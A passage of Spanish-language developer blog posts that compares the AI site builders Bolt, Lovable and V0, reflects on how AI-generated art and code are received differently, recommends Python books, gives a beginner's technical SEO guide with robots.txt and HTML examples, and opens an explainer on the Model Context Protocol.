Precio	Personalizado	Personalizado	Personalizado	Todos
SSO	SAML SSO	SSO	SSO + seguridad avanzada	Bolt
Soporte	Dedicado	Dedicado + onboarding	24/7 prioritario	Lovable/Bolt
Cumplimiento	Opt-out de entrenamiento	Opt-out de entrenamiento datos	Políticas de gobierno datos	Bolt
Personalización	N/A	Integraciones personalizadas	Flujos personalizados	Lovable/Bolt
–Diferencias clave–
Enfoque IA	Generación de componentes	Funciones generales de IA	Optimización de tokens IA	V0 (enfoque dev)
Características dev	Despliegue en Vercel	Dominios personalizados	Sincronización de proyectos	V0 (despliegue)
UI/Diseño	Importación desde Figma	Plantillas de diseño	N/A	V0
Ideal para	Desarrolladores de componentes	Equipos colaborativos	Uso intensivo de IA

Bolt vs Lovable vs V0 pricing por categoria

Mi opinión sobre los ganadores por categoría:

Mejor plan gratis: Bolt (límites más generosos)
Mejor plan Pro: Bolt (sin límites diarios, acumulación)
Mejores funciones para equipos: Bolt (espacio estructurado)
Mejor Enterprise: Bolt (seguridad integral)
Mejor para desarrolladores: V0 (generación componentes)
Mejor para diseñadores: V0 (integración Figma)

Ciertos aspectos que vale la pena resaltar:

Bolt destaca en asignación de recursos IA y gestión de equipos
V0 es más fuerte en flujos de desarrollo e integración de diseño
Lovable ofrece buenas funciones de colaboración en gama media
Todas las plataformas ofrecen caminos claros de actualización
Los sistemas de tokens/créditos varían significativamente

Bolt vs Lovable vs V0 resultados

La “mejor” opción depende de tus necesidades, como siempre:

Para ~~forever alone devs~~ Desarrolladores individuales (solo developers): V0
Para Equipos orientados al diseño: Lovable
Si requieres uso intensivo de IA: Bolt
Para empresas: Bolt o Lovable

Bolt vs Lovable vs Vercel V0 probando hacer una landing page

El resultado de Vercel V0 es bastante decente, pero no extraordinario.

La paleta de colores es muy Cyberpunk. Me encantó el fondo cuadriculado, la landing page me pareció un poco simple, pero cumple perfectamente con lo prometido.

Your browser does not support the video tag.

Tuve problemas al usar v0-vercel

Desafortunadamente, enfrenté problemas con la ejecución en local, específicamente un par de dependencias que no eran compatibles entre sí, nada muy complicado de resolver.

Lo comento porque me pareció bastante extraño dado que en su plataforma todo parecía ir perfecto, pero al momento de querer replicar el proyecto en mi computadora, no funcionó “out of the box”.

Pero dejando de lado eso, yo creo que está bien logrado y el resultado es sólido.

Landing Page en Bolt

La propuesta de Bolt fue mi favorita de las tres. Usar el efecto de luces de neón en las letras me parece un acierto, ya que refleja perfectamente la estética cyberpunk de novelas como neuromante o videojuegos como Cyberpunk 2077.

La AI de Bolt añadió imágenes que van con la paleta de colores, el marco en la imagen me parece también un toque bastante acertado, y la cereza del pastel es el efecto tipo glitch en el hero, usado frecuentemente en material audiovisual de estilo Cyberpunk.

Your browser does not support the video tag.

Sencillamente perfecto, no tuve problema alguno con la instalación. Lo que sí noté es que el código utiliza bastantes recursos incluso en ausencia de interacción. No he revisado el código con detalle pero pienso hacerlo y actualizar esta entrada.

Landing Page en Lovable

Lovable también cumple al entregar una landing page funcional. Sin embargo, siento que esta vez fue un poquito demasiado para mí.

El fondo de Matrix, si bien supongo que está relacionado con la temática cyberpunk, por la naturaleza de la película, no siento que sea un elemento que deba integrarse en una landing page (A menos de que se trate de la película “Matrix”).

Además, considero que la AI exageró un poquito con todos los efectos. En la página todo es interactivo, todo vibra y todo se mueve, tanto que se siente sobresaturado.

Your browser does not support the video tag.

Si bien estoy consciente que estos resultados pueden refinarse tras múltiples iteraciones, al ver esto no puedo evitar pensar en un programador novato que busca plasmar absolutamente todos los efectos que acaba de aprender en una sola página web.

Además el footer solo cuenta con el logo y la leyenda de copyright, sin enlaces ni secciones.

¿Cómo descargar el código de lovable?

Otro aspecto a destacar es que, Lovable no te deja descargar el código directamente (o para mi fue imposible encontrar donde sin un plan premium). Por lo que en este punto la considero inferior a sus contrincantes, que sí ofrecen el código disponible para descarga sin muchas complicaciones.

Quizás un poco de fine tuning pudiera solucionar el problema.

Bolt vs Lovable vs v0 Vercel

Si consideramos únicamente el resultado obtenido, sostengo que Bolt sería el ganador.

En cuanto a la experiencia al usar la herramienta, yo considero que es bastante similar en los tres casos. Los tres utilizan interfaces que parecen estarse convirtiendo en un estándar, y la verdad es que ni siquiera puedo recordar si existe alguna diferencia significativa entre las tres opciones.

La creación de sitios con LLM es imperfecta

Algo que me pareció bastante curioso, es que si bien existen diferencias sutiles en cuanto a los fondos, el tamaño de los botones, las interacciones, y demás elementos visuales, las tres páginas utilizan exactamente el mismo layout de landing page; una navbar con un menú orientado al lado derecho, el logo del lado izquierdo, todas más o menos a la misma distancia y con 3-4 secciones. ¿Es necesariamente malo eso?

Todos los sitios de los LLM lucen igual

En realidad no es necesariamente malo, pero le quita personalidad al sitio web. Si tienes un negocio no quieres lucir igual que tu competencia, quieres destacarte y para eso necesitas un diseño diferente al resto. Uno de los problemas con los LLM es siempre devuelven el token más probable, por lo que el código que produzcan será similar para todos los usuarios que la usen, probablemente el mismo layout, paleta de colores y textos similares.

Lo anterior es una mala noticia si quieres un sitio web que destaque entre la multitud, pues la única solución es la personalización, ya sea por un profesional o dedicarle horas al modelo para que te entregue algo diferente.

Los generadores de código usando LLM olvidan el SEO

Otra cosa extra que pude notar es la ausencia total de incluso el más básico SEO técnico en la landing page , así que no cuentes con llevar tu sitio web a las primeras posiciones de Google sin invertirle algo de tiempo. Pero hey, los sitios web solo requirieron un prompt.

Sorprendentemente, a diferencia del arte generado por IA, estas herramientas de código generado por IA pasaron inadvertidas para las personas que no son expertas en tecnología.

El arte generado con AI y el código generado con AI son tratados de manera diferente

Sun, 25 May 2025 14:29:58 -0600

El día de hoy, mientras hacía doom scrolling en la red social de Zuckerberg, el algoritmo me recomendó una imagen de Sakura Card Captors al estilo de la pintora española Remedios Varo.

Imagen de Sakura Card Captors al estilo de Remedios Varo creada con AI

Al revisar los comentarios —ya ni sé qué gano con hacerlo— noté que los que tenían más likes expresaban un fuerte desprecio por la inteligencia artificial. Un comportamiento perfectamente normal si estás justo a la mitad de una burbuja de AI

Los artistas odian la AI, a los devs se les obliga a aceptarla

Hay un consenso muy fuerte por parte del gremio de artistas hacia la AI.

Movimientos como el #NOAI o Made with human intelligence han dejado muy en claro el rechazo hacia esta tecnología . El desprecio parece venir de la manera en la que fue entrenada, usando material de artistas sin su permiso, acusada de plagiar algo tan personal como un estilo y también que algunos sienten que están siendo reemplazados por esta tecnología, lo cual les afecta económicamente.

NO AI movement

Por otro lado, en el mundo del software ha habido una tendencia muy fuerte (desconozco si orgánica u orquestada) para adoptarla como una herramienta más disponible a utilizar para incrementar la calidad y cantidad de código producido. Incluso cuando existe rechazo este se centra más en el aspecto técnico y las posibles falencias, en lugar de en las cuestiones éticas de su proceso de entrenamiento.

Este contraste me parece fascinante.

Mis ideas sobre porque el código creado con AI y el arte creado con AI se tratan diferente

No es que uno esté bien o mal, simplemente me llama bastante la atención.

Tal vez se deba a que el arte es una forma directa de comunicación visual y emocional. Y el hecho de que sea generado por una máquina, puede percibirse como una forma inferior de expresión, o una amenaza a algo que se considera enteramente humano.

En cambio, el código, por su naturaleza funcional y abstracta, carece de esa carga emocional y que un programa informático lo genere pasa completamente inadvertido.

Los seres humanos evolucionamos usando la vista como herramienta de supervivencia, por lo que todo aquello que pueda ser percibido de manera visual tendrá un estímulo más significativo. El código como abstracción de la lógica es muy reciente y no formó parte de las presiones evolutivas de nuestra especie ni de la realidad material, además dada su naturaleza, es mucho menos visual. Cabe recordar que el código no es el producto final, sino una abstracción.

El código es pragmático, el arte no tanto

El código se creó para abstraer, en un lenguaje más similar al humano, una serie de instrucciones en un ordenador, con un propósito establecido bien definido y determinista.

Pero el arte cuenta una historia diferente.

Oscar Wilde diría que:

“All art is quite useless”

Su frase no habla de que el arte sea inútil, sino que existe por belleza y expresión, no por supervivencia o instrucción moral.

Si lo anterior tiene algo de verdad, el arte es mucho más flexible que el código y los sistemas lógico-matemáticos.

Considero que, es justo esta flexibilidad la que permite que la AI, de mano con la aleatoridad, funcione de manera tan diferente para el arte y el código.

El papel de la aleatoridad en los modelos generativos y LLM

La AI es capaz de abstraer patrones a partir de su conjunto de datos de entrenamiento. Una vez que abstrae esos patrones o arquetipos, utiliza la aleatoriedad para generar resultados que “encajen” en esos patrones.

Generación de arte usando AI

Un artista recopila estímulos de otros artistas, experiencias personales, libros, música… y todo eso lo “mezcla” para crear algo nuevo. El resultado es algo que, aunque original, conserva ciertas referencias o características de las obras que lo inspiraron, por más sutiles que sean.

Todo lo anterior de manera consciente, mientras que la AI lo hace inconscientemente, o al menos eso sugeriría Searle

Generación de código usando AI

En el caso de la generación de código mediante AI, el proceso es prácticamente el mismo. La AI detecta patrones en numerosas muestras de código y luego genera código nuevo, diferente, pero basado en los patrones que los LLM han “aprendido”.

En cambos casos, es la aleatoridad la que permite dar con algo nuevo, que no es una copia fiel de los originales a partir de los cuales fue entrenado (siempre y cuando no incurra en overfitting).

La aleatoridad impacta en las diferencias entre arte y código creado con AI

Como mencioné anteriormente, el arte es mucho más subjetivo y variable que la codificación. Hay millones de maneras (o más) de presentar un concepto o imagen, lo que encaja perfecto con la manera en la que funcionan los LLM o modelos generativos.

En cambio al momento de hacer código probablemente la cantidad de maneras de hacer lo mismo sean mucho más limitadas; la manera de escribir un bucle que cuente de 0 a 100 en un mismo lenguaje de programación, tiene quizas una decena de soluciones.

Este número contrasta fuertemente con las maneras potenciales de pintar un concepto, las cuales pueden ser prácticamente ilimitadas.

En el caso del código es ligeramente diferente. Obviamente conforme crezca el tamaño del código el número de posibles soluciones se incrementará también, pero aquí hay un aspecto crucial: a diferencia de lo que sucede con el arte, no todas serán igualmente válidas.

Las diferencias en el arte y el código creados con AI

Ahondaré en esto, la naturaleza subjetiva del arte permite que todas las representaciones de un mismo concepto sean válidas, una manzana al estilo de Picaso es exactamente igual de válida que una pintada por Velazquez, o una manzana pintada por Carrington.

Mientras que no sucede lo mismo con un programa informático, una variación de cualquier programa complejo (un web crawler, una base de datos, etc.) se comportará de manera diferente en distintos escenarios, y habrá una versión superior o inferior de acuerdo a las necesidades del código.

Estas diferencias pueden medirse de manera cuantitativa: tiempo de ejecución, uso de memoria, escalabilidad, requests per second , etc. Lo que nos dejará con algunas propuestas mejores que otras.

Tomando como base lo anterior, la AI “acertará” menos veces y requerirá más iteraciones al crear código. Sin embargo, al crear arte, probablemente el usuario considere como válido el resultado obtenido tras unas cuantas iteraciones.

Esto hace que, desde mi punto de vista, la naturaleza no determinista de la AI funcione mejor en la creación de arte que en la creación de código.

Ahora, aquí hay otro aspecto que quiero tocar respecto a las diferencias en el código creado con AI y el arte creado con AI.

El contraste en la percepción entre código desarrollado con AI e imágenes generadas con AI

El producto final de una AI que crea arte es el mismo producto final que percibe el usuario, en cambio el código que crea una AI no tiene contacto con el usuario final.

No existe un rechazo público, ni un grupo que proteste al ver el código generado con AI porque no tienen contacto con él. El código, por si mismo, no despierta pasiones, ni enojo, como cuando Devin AI prometió reemplazar a los programadores tal vez porque el estímulo visual del arte es mucho más intenso que un muro de texto que expresa las relaciones que existen entre entes abstractos.

Para pruebas solo basta ver la respuesta que han tenido herramientas como Bolt, Lovable o V0 , las cuales fueron entrenadas usando el código de desarrolladores, también sin su permiso. Ahora compáralo con los generadores de video de IA, hay tantos de ellos en este momento que hay Guías para elegir entre generadores de IA , a pesar de ser detestados por la comunidad.

Las páginas web creadas por AI

¿Pero y las páginas web?, yo diría que incluso si observamos la cristalización del código en forma de pixeles en una página web, la reacción es completamente diferente a la que experimentariamos con el arte, a pesar de ambos ser percibidos visualmente.

Una página web (y quizás el código) hecha con AI es totalmente indistinguible de una creada por un humano. Además una página web no suele ser percibida como el resultado de la expresión humana (sobre todo en el internet contemporáneo).

Pero en el caso del arte es mucho más fácil darse cuenta; manos con más dedos de los que se deben, inconsistencias lógicas, inclusive ese estilo genérico, que viene por defecto, bastante característico. O el ya popular estilo Ghibli que se volvió un commodity.

El arte generado con AI destaca, mientras que el código generado con AI es invisible.

Mis libros favoritos para aprender a programar en Python

Fri, 25 Apr 2025 00:00:00 +0000

Mi lista de libros favoritos para aprender a programar en Python

Este post es mi lista de libros favoritos para aprender Python, por lo que estoy familiarizado con ellos y puedo recomendártelos sinceramente. Si esta pequeña guia puede servirte para no perderte en el mar de opciones que hay allá afuera, estaré encantando de compartir mi experiencia aprendiendo Python contigo para hacer tu proceso más llevadero.

Dive into Python 3

Este libro para aprender Python favorito, parte de cero y empieza a enseñarte la sintaxis del lenguaje creando pequeños programas. Los programas son básicos pero el autor no se detiene ahí, a lo largo del libro ahonda en temas como:

Explicación de como Python transforma los bytes en cadenas de texto
Eficiencia de algoritmos a nivel muy básico
Generadores
Iteradores
Closures o cierres
Expresiones regulares
Manejo de XML
Solicitudes HTTP

Este libro se centra en el lenguaje y aspectos básicos de la lógica de programación, por lo que no verás GUIs, ni otros aspectos más específicos.

En mi humilde opinión este libro es el mejor para aprender Python. Pero sigue leyendo para ver otras opciones.

Existe una versión en español disponible de inmersion en Python para los hispanohablantes, de la cual te hable en un post anterior

Dive into Python Book cover

Dive into Python en Amazon Ver en Amazon

Beggining Python from novice to Proffesional

Este libro es una introducción al lenguaje desde cero, básicamente empieza con la instalación del binario de Python y te lleva paso por paso desde la sintaxis, pasando por cada uno de los usos del lenguaje, como crear interfaces gráficas nativas, servidores web desde cero, con sockets, hasta el uso de Frameworks, como el framework de desarrollo web Django

Totalmente recomendado si quieres tener una visión general de las capacidades de Python.

Beggining Python from Novice to Pro Book cover

Beginning Python from Novice to Pro en Amazon Ver en Amazon

Cracking codes with Python

Un libro un poco inusual, te explica los aspectos más básicos de Python a la vez que te lleva a dar un recorrido por la historia de la criptografía.

Cracking codes with Python parte de la suposición de que no sabes absolutamente nada de Python. La temática del libro es enseñarte un método de cifrado cada capítulo.

Aprenderás y codificaras el cifrado César, Vigenere, cuadernos de un solo uso y, para cerrar el libro, las bases del cifrado RSA.

Lo recomiendo si buscas algo corto y ameno para dominar las partes más básicas del lenguaje.

Cracking with Python book cover

Cracking Codes with Python en Amazon Ver en Amazon

Python Pocket Reference

Este pequeñito libro de cerca de 260 páginas es todo el lenguaje de programación Python resumido, eso sí, es cero didáctico y es más como una guia (cheatsheet) o resumen de todas las características y sutilezas del lenguaje.

Recomiendo Python Pocket Reference, pero únicamente si ya tienes nociones del lenguaje, en cuyo caso es una excelente manera de reforzar conceptos y aprender una que otra cosa nueva.

La ventaja de este libro es que es de bolsillo y puedes leerlo en cualquier momento de ocio o cuando te transportes de un lado a otro.

Python pocket reference book cover

Python Pocket Reference en Amazon Ver en Amazon

Python tricks

Si ya tienes nociones básicas de Python, o lo dominas, este libro llevará tus habilidades más allá. Python tricks es un recopilatorio con algunas características poco conocidas, o que han pasado inadvertidas de este lenguaje de programación. ¿Cómo que cosas? Bueno, cosas como:

El uso de zip
Manejo de iteradores
Context managers
Métodos mágicos o dunders
Closures
Stacks y Queues
Named tuples

Y demasiadas cosas como para cubrirlas en un pequeño post. Pero si tienes oportunidad y un poco más de experiencia en el lenguaje, te recomiendo adquirirlo muchísimo.

Python Tricks en Amazon Ver en Amazon

Mejores videos para aprender Python

La verdad es que soy un poco más fan de aprender mediante libros que con videos, ¿la razón? supongo que tener la constante distracción de navegar por internet no es bueno para mi proceso de aprendizaje, en cambio con un libro, o ereader común, es imposible navegar en internet, solo pongo el celular lejos y en modo avión y en un par de minutos puedo alcanzar niveles decentes de concentración.

Cursos de Python de Platzi

Platzi tiene cursos de Python , sí, cursos en plural, un curso básico de Python, cursos de Python especializados en ciencias de datos, curso de Python para estadística, entre otros. Los cursos son exclusivamente en Español y constamente los actualizan. Son una opción si te gusta el formato video.

Python Platzi courses

Curso completo de Python de Midudev

Nuestro youtuber preferido de tecnología en español: ~~Last dragon~~ Midudev también tiene un curso completo de 8 horas de Python.

Ay Marge creo que estoy ciego

No puedo recomendartelo directamente porque aprendí Python mucho antes de que Midudev fuera famoso e hiciera su curso y no me apetece pasar 8 horas repasando conceptos de Python. Sin embargo, su último curso, donde hablaba del Model Context Protocol fue genial, por lo que supongo que este no se aleja bastante de sus estándares de calidad.

Mi Guia De SEO Técnico Básico Solo Para Desarrolladores Web

Mon, 14 Apr 2025 00:02:16 -0600

Anteriormente te platiqué como cometí muchos errores en SEO al migrar mi sitio web de Wordpress a Hugo, pues después de eso me puse a ver muchos videos sobre SEO, sobre todo de Romuald Fons, también me leí The art of SEO y he tratado de resumir todo lo que aprendí en una pequeña entrada. He decidido centrarme en el SEO técnico porque es el que entiendo, es menos subjetivo y, además, estoy más familiariazado. Por eso escribí esta entrada antes de que burbuja de AI estalle, llevándose al SEO con ella.

Mi fuente totalmente confiable, Romuald Fons

He examinado muchos sitios web y he notado que muchos desarrolladores web profesionales omiten completamente el SEO de sus desarrollos, es completamente cierto que es un tema bastante extenso que quizás se aleja de lo que ellos están acostumbrados, en mi opinión, hacer un SEO promedio es mejor que omitirlo completamente.

Simplificando criminalmente, el SEO podría dividirse en dos:

SEO técnico: todos aquellos aspectos objetivos, medibles, como la presencia de un sitemap, de etiquetas meta, etc.
SEO de contenido: es un poco más subjetivo, es sobre que palabras usar, con que sitios conectar

El SEO es una caja negra y un arte más que una ciencia

Nadie sabe exactamente como funciona el algoritmo de los motores de búsqueda, por lo que llegar a la posición número de Google, u otros motores, para cierta keyword de búsqueda, es más un arte que una ciencia.

Inclusive si logras entender vagamente como funciona el algoritmo lo suficiente para manipularlo, tendrás que enfrentarte a que el algoritmo es un ente cambiante y puede que lo que servía perfectamente ayer, ya no sirva hoy.

A pesar de los cambios en el mundo SEO, el enfoque del SEO actual sigue fuertemente ligado a las keywords, pequeñas frases cortas que incluyes en tu sitio web para indicarle a los motores de búsqueda de que trata el contenido de tu sitio web y te muestre a los usuarios correctos.

Sin embargo, últimamente, Google ha dicho que su algoritmo es tan sofisticado que logra evaluar que tan bien responde un sitio web a la intención del usuario e invita a sus usuarios a enfocarse en resolver la intención de los usuarios en lugar de en las keywords. Aunque, de manera paradójica, sus servicios de publicidad siguen fuertemente orientados a las keywords.

SEO Técnico básico en el desarrollo web

El SEO técnico consiste en una serie de requisitos que debe cumplir un sitio web para ser amigable a los motores de búsqueda, de manera que estos te indexen en posiciones altas y cuando un usuario busque en redes, tú aparezcas en las primeras posiciones.

Este tema es muy amplio, pero espero resumirlo de manera que tengas una idea general y no te pierdas en el mar de información que existe.

Archivo Sitemap.xml

Probablemente este es el aspecto técnico de SEO más importante. Un sitemap le dirá a los motores de búsqueda las páginas que tiene tu aplicación.

Diagrama de un sitemap mostrando las urls disponibles

En muchos casos, un sitemap puede generarse de manera dinámica, algunos frameworks incluso cuentan con herramientas que te permiten hacerlo en pocas lineas, como Django.

Una vez creado, debes indicarle a los motores de búsqueda en donde se localiza la url de tu sitemap directo desde su panel de administración. Si no lo indicas explícitamente buscaran en las urls más comunes, o en el archivo robots.txt.

Screenshot of Google’s search console sitemap section

Robots.txt

Un archivo robots.txt orientará a los motores de búsqueda y crawlers sobre que URLs debe ignorar y cuales debe inspeccionar. Además este archivo debería incluir la ubicación del sitemap.

Se espera que la URL para este archivo siemprea sea /robots.txt, por lo que apegate a esta convención.

Mira un ejemplo de un archivo robots.txt

User-agent: *
Disallow: /*/tags/
Disallow: /*/categories/
Disallow: /*/search/

Sitemap: https://example.org/sitemap.xml

Un archivo robots.txt no sirve para bloquear crawlers ni bots.

Hay una confusión al respecto, y es bastante obvio pero lo mencionaré de todas formas: los crawlers pueden ignorar por completo las indicaciones de tu archivo robots.txt, por lo que no debes verlo como un mecanismo de protección para tu sitio web, si un crawler quiere, ignorará las instrucciones contenidas ahí.

Robots.txt no te protegerá de los crawlers

Si algún influencer en redes te dice lo contrario te está mintiendo descaradamente. Es más, lo reto a que detenga a un crawler solo usando un archivo robots.txt.

Robots bloquear todo

Si quieres indicarle a los crawlers que deben ignorar absolutamente todo el contenido de tu web, podrías usar algo como:

User-agent: *
Disallow: /

La contraparte de robots.txt: humans.txt

Como dato curioso, existe una iniciativa para popularizar la idea de agregar la contraparte del archivo robots.txt, un archivo humans.txt y mostrar la parte humana tras un sitio web, el alma en la máquina o en la consola (¿El “Ghost in the shell”?), a mi me parece una idea muy bella el saber como son los humanos que existen tras un sitio web. Desafortunadamente este proyecto cuenta con poca difusión a la fecha.

El siempre ignorado: Schema markup

Frecuentemente presente como una etiqueta script de tipo ld+json (aunque hay otros formatos válidos), que puede encontrarse en cualquier punto de tu documento HTML, le índica a los motores de búsqueda los elementos que tiene tu sitio web y como se relacionan entre ellos.

Un schema mostrará información sobre el contenido y los elementos de una página web

Los diferentes tipos de Schema son complejísimos y es todo un tema a tratar, puesto que varían mucho de acuerdo al tipo de sitio web.

Un sitio web que venda artículos electrónicos tendrá una serie de propiedades en su Schema completamente diferentes a un sitio web de un restaurante, o una aplicación web.

Si estás completamente perdido, te dejo un prompt que puedes usar para orientarte, solo escríbeselo a ChatGPT, DeepSeek o cualquier otro LLM competente:

Eres un experto en SEO, crea el contenido de una etiqueta ld+json, basado en las características de schema.org, para una página web cuyo tema principal es “x”, el contenido de la página consiste en “y”, puedes utilizar placeholders para las variables usando el siguiente formato: “z”, por favor.

Una vez obtengas el resultado corrobóralo con la documentación oficial o con su herramienta de validación de schemas .

Presencia de Meta tags

Las metatags que van en la etiqueta head de tu HTML son metadatos sobre el contenido que pueden usarse para que los motores de búsqueda entiendan tu sitio mejor.

Dentro de los metatags son especialmente importantes los Open Graph, pues son el estándar para que las redes sociales puedan obtener información de tus páginas web, estos meta tags son los que logran que uno de tus enlaces se vea así cuando lo compartes en redes sociales.

Las redes sociales usan las metatags para mostrar la información relevante de una página

Existen algunos generadores de meta tags que puedes usar para generar una plantilla a llenar, o simplemente pídele a chatGPT una.

Un sitio web con buen performance para SEO

El sitio web debe brindar una buena experiencia al usuario y ser responsivo, importa, sí, pero no tanto como crees. El contenido juega un rol mucho más importante que la velocidad de tu sitio web, es común ver sitios web sitios pésimamente optimizados pero con un buen ranking en los buscadores.

Pero no me creas ciegamente, utiliza la siguiente herramienta para corroborar lo que digo usando los primeros resultados en Google.

Score de Lighthouse para mi página de portafolio

Herramientas como Lighthouse son bastante útiles para medir el performance de un sitio web y también te indican como mejorarlo.

El aspecto más infravalorado del SEO Técnico básico: Arquitectura de sitio web bien diseñada

Asegúrate que el sitio web cuente con una estructura que permite a los motores de búsqueda “entenderlo”. ¿A que me refiero? A que el sitio web esté organizado de una manera lógica y jerárquica que sea entendible.

Por ejemplo algo similar a esto:

Estructura semántica de un website

¿Importa la estructura de las URL en SEO?

Sí, y mucho, puedes echar de mano las urls para darle a tu sitio web la estructura semántica que creas correcta para que sea coherente con la arquitectura que planeas, esto facilita que los motores de búsqueda “entiendan” tu sitio web.

Te hablé un poco de esto en mi entrada sobre buenas prácticas y diseño de una api rest

En las siguientes URLs, observa como no hay manera de saber si Nawapol es una película, o un director o un documental:

/session-9/
/50-first-dates/
/nawapol-thamrongrattanarit/
/salt-of-the-earth/

Lo mejor sería dotarles de una estructura consistente y más explícita:

/movies/psychological-horror/session-9/
/movies/comedy/one-hundred-first-dates/
/documentaries/photography/salt-of-the-earth/
/directors/nawapol-thamrongrattanarit/

Probablemente no estés usando correctamente las etiquetas HTML

Headings y SEO

Los headings son las etiquetas más importantes de tu contenido, pues le dicen a los motores de búsqueda como está organizado.

Asegúrate de usar solo una etiqueta h1, y jerarquizar las etiquetas h2 hasta la h6, usándolas para darle una estructura jerarquica a tu sitio web.

HTML te permite ser muy expresivo en el SEO.

Hay mucho más alla de las divs, los anchors, las etiquetas img y las de video. HTML brinda etiquetas para ayudar a los motores de búsqueda y dispositivos a entender mejor el contenido de una página web. No te quedes solo con esos elementos e investiga sobre el resto de etiquetas HTML, tales como:

article: Contenido autónomo que se entiende de forma independiente.
section: Agrupación temática de contenidos, normalmente con un encabezado.
nav: Enlaces de navegación para el documento o el sitio, breadcrumbs, barra de navegación.
footer: Pie de página de una sección o página, a menudo con metadatos.
datetime: Fecha/hora (utilizada en la etiqueta time).
aside: Contenido relacionado tangencialmente con el contenido principal.
header: Contenido de introducción o que ayuda a la navegación para una sección/página.
progress: Muestra el progreso de finalización de una tarea.
meter: Representa una medida escalar dentro de un rango conocido.
cite: Cita o referencia a una obra de caracter creativo (por ejemplo, libro, artículo).
q: Cita corta en línea (el navegador suele añadir comillas).
pre: Texto preformateado, que conserva los espacios en blanco y los saltos de línea, ideal para código.
kbd: Entrada de teclado, indicando las teclas introducidas por el usuario.
samp: Ejemplo de salida de un programa o sistema informático.
dfn: Definición de un término (a menudo en cursiva).
output: El resultado de un cálculo o de una acción del usuario.
abbr: Abreviatura o acrónimo, opcionalmente con un título para que se expanda.

Presencia de enlaces internos

Le ayudan a los motores de búsqueda a entender como se relacionan tus páginas entre sí. Asegúrate que tus enlaces sean válidos y no devuelvan errores 404, además de que el texto que enlace esté relacionado con el contenido de la página enlazada.

✅ <a href="/how-to-code-clean-code">How to code clean code</a>
✅ <a href="/how-to-code-clean-code">Learn how to code clean code</a>
❌ <a href="/how-to-code-clean-code">Click here to read my new entry</a>

Presencia de enlaces externos

Enlaces externos, consideralo como un voto a favor hacia otros sitios web para indicarle a los motores de búsqueda que el contenido que enlazas es importante, investiga a fondo sobre los atributos nofollow, follow, ugc y sponsored en las etiquetas anchor y úsalos adecuadamente de acuerdo a tus intenciones.

follow, es el valor por defecto, le indica a los motores de búsqueda que el sitio al que enlazan debe ser valorado positivamente.
nofollow, los motores de búsqueda no deberían seguir este enlace, ideal para enlaces publicitarios, de afiliados o sitios web que quieres enlazar pero que no quieres que se relacionen con el tuyo.
ugc, siglas de User generated content, ideal para redes sociales.
sponsored, enlace patrocinado, generalmente publicidad o enlaces de afiliados.

<a href="https://example.org/" rel="nofollow">The example website</a>
<a href="https://user-website.com" rel="ugc">Just check my website</a>

¿Cómo conseguir backlinks para SEO?

Esta es la parte difícil. Algunos te dirán algo como “Simplemente crea contenido que valga la pena compartir”, pero la mayoría no quiere esperar; deciden acelerar el proceso y conseguir más backlinks.

Además, no todos los backlinks se crean de la misma manera; los enlaces que provienen de sitios web con buena reputación tienen más peso que los que tienen menos autoridad, lo que crea una dinámica perjudicial.

Los grandes sitios web saben que un solo backlink puede mejorar el posicionamiento de su sitio, por lo que no suelen ofrecerlos gratis, y algunos escritores en estas empresas piden una compensación económica por colocar un backlink en un artículo.

Los sitios donde se ofrecen estos servicios son un secreto a voces, a pesar de ir en contra de las políticas de Google.

Otras alternativas menos cuestionables incluyen la publicación como invitado, publicar en foros y blogs, escanear sitios web y ofrecer tus enlaces en lugar de enlaces que muestran un estado HTTP 404, así como crear banners o herramientas que la gente quiera compartir.

El test de Flesch Kincaid

Es un test basado que sirve para estimar el nivel de educación requerido por un hipotético lector, para comprender el contenido de tu sitio web, ~~a diferencia de lo que tu inflado ego piensa~~, entre más alto el puntaje sera más sencillo de entender, lo cual es mejor pues estará al alcance de más lectores.

Dicho lo anterior, me atrevería a decir que el valor exacto no importa tanto, sino que tu texto sea de fácil lectura y el lector fluya a través de él.

Ten presente que hay algunos plugins, como Yoast SEO si usas Wordpress, que se encargan de medirlo o puedes programarlo tú mismo.

He dejado algunos aspectos que no considero tan importante, pero que quizás agregue más adelante, lo importante aquí es que entiendas que no solo es montar un sitio web y ya, sino que hay que pulirlo para que los usuarios puedan encontrarlo y usarlo.

HTTPS en lugar de HTTP

Es bastante extraño encontrar sitios web modernos que no utilicen HTTPS, sobre todo cuando son las plataformas de hosting las que se encargan de configurar los servidores de manera automática. De cualquier forma asegúrate de que tu sitio web utilice HTTPS en lugar de solo HTTP, pues los motores de búsqueda favorecen las conexiones seguras.

Y por ahora es todo, iré agregando más información al artículo si lo considero pertinente con el pasar de los días.

Technical SEO en la era de la AI

Hay otro aspecto también muy importante, y esto es más una opinión que un hecho comprobado. Los AI summaries de Google han tenido un efecto bastante negativo en los sitios web independientes.

Los usuarios ya no necesitan ingresar a un sitio web para obtener una respuesta, por lo que, en mi opinión, todos aquellos sitios cuyo único valor sea proporcionar respuestas simples se verán muy afectados.

Puedes crear miles de páginas con SEO, inclusive estas pueden traerte un incremento de tráfico temporal, pero eventualmente Google leerá tu contenido y creará un resumen para aquellas keywords que el usuario está buscando.

¿Qué creo que pasará con el SEO en un mundo post AI?

Lo anterior me deja pensando sobre si lo que es válido hoy será válido mañana. Quizás sitios web donde se expongan aspectos más subjetivos, opiniones y experiencias sean más valiosos a nivel SEO en el futuro que los recopilatorios de información.

Además he notado que la mayoría de los sitios web que crean landing pages y cosas sencillas, como lovable, vercel 0, Bolt , etc. dejan de lado la mayoría de los aspectos relacionados con el SEO

También creo que los sitios web transaccionales pueden olvidarse de los primeros pasos del embudo de ventas (pues la AI puede encargarse de eso) y centrarse en la transacción.

Así mismo considero que el contenido de texto perderá valor pues se volverá un commodity creado por la AI (que mal por mi), pero sitios web interactivos o de video pueden verse favorecidos por el tráfico de internet.

Ten en cuenta que son solo algunas ideas, nadie sabe lo que realmente sucederá.

Solo espero que lo que suceda sea bueno para el futuro de la web.

Te Explico El Model Context Protocol (MCP) Y Para Que Sirve

Mon, 31 Mar 2025 18:00:32 -0600

Si tienes dificultades para comprender el Protocolo de Contexto Modelo, te entiendo, vi muchos videos al respecto, pero no pude entenderlo, así que tomé mis notas al respecto y las convertí en una publicación para que puedas entenderlo sin esfuerzo. También escribí un post donde explico como crear un MCP server y MCP tools desde cero .

¿Por qué se creó el Model Context Protocol?

Uno de los usos más útiles de los LLM es consultarles sobre nuestros propios datos, para eso hay varias opciones, tales como realizar fine-tuning de un LLM o RAG o pasárselos como contexto en la petición. ¿De dónde viene ese contexto? Pues prácticamente de cualquier lado, Github, una base de datos, tu sistema de archivos, una API ( tipo gPRC , REST u otras), básicamente cualquier fuente que pueda retornar información.

